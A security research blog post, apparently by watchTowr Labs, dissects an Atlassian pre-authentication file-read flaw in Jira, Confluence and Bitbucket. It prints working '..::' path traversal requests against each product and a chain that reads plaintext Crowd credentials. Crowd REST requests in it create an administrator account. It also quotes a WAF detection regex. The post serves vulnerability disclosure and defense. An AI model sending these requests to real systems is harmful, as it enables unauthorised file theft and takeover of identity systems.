You Won’t Hear About These, Even In Myths (Atlassian Jira, Confluence (and more) Pre-Auth Arbitrary File Read CVE-2026-21589)

Welcome back to yet another episode of "security was taken seriously".

Being who we are (and constantly being exposed to what we see…), we recognize we have been doomed to eternal damnation as we keep on watching security best practices crumble behind “secure by design” public statements. And in the times we live in, where anyone with a prompt window in front of them can say "reproduce the vulnerability, make no mistakes", so are you.

In Greek mythology, Atlas was punished by the gods for misbehaving. Reality is unfair, and all we get is Atlassian punishing the rest of us for running their systems on-prem. And so they did, on October 5th, in a security advisory.

Sometimes we regret that CVSS scores go as high as 10, because when a vulnerability is baked into almost all of a vendor's products across every version, the vulnerability deserves a special place (just like you, our dear reader).

Welcome back to another watchTowr Labs blog post.

What Is Going On

Atlassian has published an out-of-band critical vulnerability advisory for CVE-2026-21589 for numerous Atlassian products.

CVE-2026-21589 was reported by Atlassian as “Arbitrary File Access” and as we’ve come to learn, this means “Arbitrary File Read”. The CVSS score itself tells us a story: a vector showing no prerequisites of authentication or complexity.

This vulnerability affects all previous versions of:

Seeing this list of affected products, we stopped thinking about the potentially few thousand vulnerable instances exposed to the internet, and quickly realized we are in the six to seven-figure range.

• Bitbucket is a Git-based code hosting service where teams store, review, and collaborate on source code, with built-in pull requests and CI/CD pipelines.
• Confluence is a team wiki and documentation workspace for creating, organizing, and sharing pages like project plans, meeting notes, and technical docs.
• Jira is a project and issue tracking tool, widely used for agile work, that lets teams plan, track, and manage tasks, bugs, and sprints on boards and backlogs.

A quick internet search reveals just under 700,000 instances of Confluence alone. So the range of those affected is vast, to say the least.

As Always, Let’s Begin

As CVE-2026-21589 affects so many of their products, the only logical conclusion is that these products share a common library or configuration that makes this vulnerability apply to all of them.

We set out to prove this against a few of their core products, namely Bitbucket, Confluence, and Jira.

Having deployed vulnerable and patched versions of each solution, we looked to see what exactly had changed between them and what is common among the different technologies.

One particular JAR stood out: atlassian-plugins-webresource*.jar

That gave us our targets for comparison:

• Vulnerable: atlassian-plugins-webresource-6.0.7.jar
• Different: atlassian-plugins-webresource-6.0.8.jar

Diff’ing Our Way To “File Access”

Looking through the advisory released by Atlassian gave us clues as to what we were looking for, notably the complex WAF rules they suggested:

(?is).*(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2})(?:\.|%(?:25)*2e){2}(?:/|\\|::|%(?:25)*(?:2f|5c)|(?::|%(?:25)*3a){2}|;|%(?:25)*3b|$).*

While semicolons (;) are very common in path traversal within Java applications, along with the everyday dots (.) and slashes (/), one item stood out: the matching of double colons (::). This is uncommon syntax for this type of vulnerability, but grepping through the codebase we came across an all too familiar sight.

In com/atlassian/plugin/webresource/impl/http/Router.java we observed this set of functions:

public static String sourceMapUrlToUrl(String sourceMapUrl) {
	return sourceMapUrl.replaceAll("\\.map$", "").replaceAll("\\.map\\?", "?");
}
public static String escapeSlashes(String string) {
	return string.replaceAll("/", "::");
}
public static String unescapeSlashes(String string) {
	return string.replaceAll("::", "/");
}

At this point, you should already be cutting to the chase, just as we were. These functions match and replace double colons (::) with forward slashes (/).

This means we might be looking to exploit this vulnerability via a pattern similar to ..::..::..::..::<dir>::file.txt. Our next step was to find a route to do it.

Looking at where these functions are referenced, we can see they are called along several routes in the same Router class:

String resources = "resources";
addRoute("/resources/:completeKey/*resourceName.map", new BaseRouter<Controller>.Handler() {
      public void apply(Controller controller, String escapedCompleteKey, String escapedResourceName) {
        controller.serveResourceSourceMap(
            Router.unescapeSlashes(escapedCompleteKey), 
            Router.unescapeSlashes(escapedResourceName), ServingType.RESOURCES_SINGLE);
      }
    });
addRoute("/resources/:completeKey/*resourceName", new BaseRouter<Controller>.Handler() {
      public void apply(Controller controller, String escapedCompleteKey, String escapedResourceName) {
        controller.serveResource(
            Router.unescapeSlashes(escapedCompleteKey), 
            Router.unescapeSlashes(escapedResourceName), ServingType.RESOURCES_SINGLE);
      }
    });
addRoute("/sources/:completeKey/*resourceName", new BaseRouter<Controller>.Handler() {
      public void apply(Controller controller, String escapedCompleteKey, String escapedResourceName) {
        controller.serveSource( <----- [0]
            Router.unescapeSlashes(escapedCompleteKey), 
            Router.unescapeSlashes(escapedResourceName), ServingType.SOURCES_SINGLE);
      }
    });

Following [0]'s serveSource() above, we end up in com.atlassian.plugin.webresource.impl.helpers.ResourceServingHelpers.java, which presents a programmer's favorite set of long IF functions.

public static Resource getResource(RequestCache requestCache, String completeKey, String resourceName) {
    Resource resource = getWebResourceResource(requestCache, completeKey, resourceName);
    if (resource == null) {
        resource = getResourceRelativeToWebResource(requestCache, completeKey, resourceName); <---- [1]
    }
    if (resource == null) {
        resource = getFromOSGiPluginModuleResource(requestCache.getGlobals(), completeKey, resourceName);
    }
    if (resource == null) {
        resource = getPluginResource(requestCache.getGlobals(), completeKey, resourceName);
    }
    if (resource == null) {
        resource = getResourceRelativeToPlugin(requestCache.getGlobals(), completeKey, resourceName);
    }
    return resource;
}

Looking specifically at the first IF branch, getResourceRelativeToWebResource [1] reveals a function which, although marked with the @Deprecated annotation is very much alive and well.

@Deprecated
protected static Resource getResourceRelativeToWebResource(
        RequestCache requestCache, String completeKey, String resourceName) {
    Bundle bundle = requestCache.getSnapshot().get(completeKey);
    if (bundle == null) {
        return null;
    }
    String filePath = "";
    Resource resource = null;
    while (resource == null) {
        String[] parts = splitLastPathPart(resourceName);   // [3]
        if (parts == null) {
            return null;
        }
        resourceName = parts[0];                 
        filePath = parts[1] + filePath;          
        resource = bundle.getResources(requestCache).get(resourceName);
    }
    return requestCache.getGlobals().getConfig().getResourceFactory()
            .createResourceWithRelativePath(
                    resource.getParent(),
                    resource.getResourceLocation(),
                    resource.getNameType(),
                    resource.getLocationType(),
                    filePath);         <----- [2]          
}

Given the routing patterns we have seen, it is safe to assume that a user-controlled resourceName is pushed to this function and funneled through createResourceWithRelativePath() at [2].

While there are attempts to remove any slashes and traversals via splitLastPathPart() at [3], given the potential for a ..:: primitive, this is likely moot. Further investigation shows that the path is eventually used by ResourceFactory to read local files, so this is the right track.

Looking at the functionality so far, it is clear we need a plugin that lets us pass through the functionality above. After decompiling jira-webresources-plugin.jar we can review the plugins and parameters required to use it. We noted that the majority had fixed location values:

<resource type="qunit" name="includes/jira/components/color-picker/color-picker-controller-tests.js" location="includes/jira/components/color-picker/color-picker-controller-tests.js"><param name="source" value="webContextStatic"/></resource>
<resource type="qunit" name="includes/jira/components/color-picker/view/sample-color-collection-view-tests.js" location="includes/jira/components/color-picker/view/sample-color-collection-view-tests.js"><param name="source" value="webContextStatic"/></resource>

As luck would have it, there was one in particular that ended with a trailing slash, meaning we may be able to supply the exact file via our resourceName.

<resource type="download" name="images/"
          location="/includes/jquery/plugins/colorpicker/images/">
    <param name="source" value="webContextStatic"/>
</resource>

With a bit of compute and perusing, we were able to build the route that interacts with this particular plugin to access the sink we are targeting, via /download/resources/jira.webresources:color-picker-popup/images/*, where all subsequent files in that path are matched to the local path /includes/jquery/plugins/colorpicker/images/.

By combining this path with our theoretical traversal payload, we were able to access the web.xml file, which is typically protected through various mechanisms within the Jira code and the Tomcat server itself.

GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1
Host: {{Jira-Hostname}}

<?xml version="1.0"?>
<web-app xmlns="<http://java.sun.com/xml/ns/javaee>"
         xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
         xsi:schemaLocation="<http://java.sun.com/xml/ns/javaee>
                <http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd>"
         version="3.0"
         metadata-complete="true">
    <!-- General -->
    <display-name>Atlassian JIRA Web Application</display-name>
    <description>The Atlassian JIRA web application - see <http://www.atlassian.com/software/jira> for more information
    </description>
[..Truncated..]

While we are not able to traverse outside of the Tomcat context, we discovered it is possible to read any file within the application server itself. The route varies across the other products, but we were able to verify it is more or less the same.

Confluence:

GET /s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..::..::..::..::..::..::..::..::WEB-INF::web.xml HTTP/1.1
Host: {{Confluence-Hostname}}

Bitbucket (slightly different, as web.xml is blocked):

GET /s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..::..::..::..::..::WEB-INF::urlrewrite.xml HTTP/1.1
Host: {{Bitbucket-Hostname}}

The Crowd Crush Is Real

We have already proven that we can read any file from the application's webroot, including sensitive files stored in the WEB-INF directory. On the other hand, a quick nudge at the filesystem did not let us find any file that would leak something as sensitive as a critical-rated vulnerability would imply.

We took a look at the official advisory again and spotted a sentence that turned on our internal light bulb:

In some configurations, there may be sensitive files present that increase your risk.

Alright, it clearly implies that the impact may vary with the configuration. It seems there are configurations that would place files with very sensitive content in the WEB-INF directory.

Our plan was simple:

• Smash through the Atlassian documentation.
• Look for references to configuration files stored within the WEB-INF directory.

One of the first hits we got was the Jira documentation, which describes its integration with Atlassian Crowd.

What Is Atlassian Crowd?

Atlassian Crowd is Atlassian's centralized identity and single sign-on (SSO) product, essentially the user directory and authentication hub that sits behind the rest of the Atlassian stack.

Instead of each Jira, Confluence, Bitbucket, and Bamboo instance managing its own separate list of users and passwords, Crowd holds that information in one place, and the other applications ask Crowd to handle authentication and group membership for them.

Long story short: Atlassian Crowd is an identity management solution, which Atlassian recommends using with your Atlassian products deployment.

Atlassian Crowd and Jira Deployment

We started reading the Atlassian Crowd and Jira deployment configuration instructions and quickly stumbled upon this fragment:

This looks really fine. This fragment tells us that:

• The Crowd config file is located at WEB-INF/classes/crowd.properties.
• It stores application.name and application.password.

Naturally, as it’s 2026, we asked our AI agent to deploy Crowd within our Jira installation, in compliance with the official documentation.

When that was done, we manually verified the content of the crowd.properties file:

$ cat WEB-INF/classes/crowd.properties 
application.name                        jira
application.password                    Jira-Crowd-App-Pass-2026!
application.login.url                   <http://localhost:8095/crowd/console/>
crowd.server.url                        <http://localhost:8095/crowd/services/>
crowd.base.url                          <http://localhost:8095/crowd/>
session.isauthenticated                 session.isauthenticated
session.tokenkey                        session.tokenkey
session.validationinterval              2
session.lastvalidation                  session.lastvalidation

This allowed us to confirm that the config file stores the following information:

• The application name.
• The password for the application, in plaintext.
• The Crowd URL.

With those leaked, we can try to access Crowd directly and see what we can achieve.

Authors' note: Crowd configuration allows you to specify a whitelist of IP addresses that can access it. Such a configuration may make this attack scenario much harder, as you would need to pivot through arbitrary machines or use SSRF-like capabilities of Jira, Confluence, or Bitbucket to reach Crowd directly. It is probably safe to assume that in real environments you will find both very permissive and locked-down Atlassian Crowd installations.

Accessing Atlassian Crowd: Impact

When you access Atlassian Crowd directly with the leaked credentials, it is basically game over. Sounds logical: you are accessing the identity management solution as an administrator of the application.

You can use the direct access to:

• Create new users.
• Modify user privileges.
• And much more.

For instance, you can try this by sending the following request:

GET /crowd/rest/usermanagement/1/search?entity-type=user&max-results=1000 HTTP/1.1
Host: jira.lab.local:8095
Authorization: Basic eW91cjpjcmVkZW50aWFscw==

In the response, you will receive the list of existing users.

You can of course do something much more malicious, like creating a new user:

POST /crowd/rest/usermanagement/1/user HTTP/1.1
Host: jira.lab.local:8095
Content-Type: application/json
Content-Length: 194
Authorization: Basic eW91cjpjcmVkZW50aWFscw==
{
"name": "watchTowrPoC", 
"active": true, 
"first-name": "Evil", 
"last-name": "Admin", 
"display-name": "watchTowrPoC", 
"email": "watchTowrPoC@attacker.test", 
"password": {"value": "1PocPa$$wd23"}
}

And then add this user to the jira-administrators group:

POST /crowd/rest/usermanagement/1/group/user/direct?groupname=jira-administrators HTTP/1.1
Host: jira.lab.local:8095
Accept: application/json
Content-Type: application/json
Content-Length: 24
Authorization: Basic eW91cjpjcmVkZW50aWFscw==
{"name": "watchTowrPoC"}

You can be proud of yourself, pal. You just got promoted to Jira Administrator.

File Read to Jira Administrator Through Crowd: Full PoC

We would not be ourselves if we did not implement the entire chain in a single Python PoC, just to make it look nice.

Detection Artefact Generator

As always, we have created a Detection Artefact Generator, which you can use to check whether an instance is vulnerable. It can be found here, working for the following Atlassian products:

• Jira.
• Confluence.
• Bitbucket.

A sample run against a vulnerable instance looks like this:

Speak soon.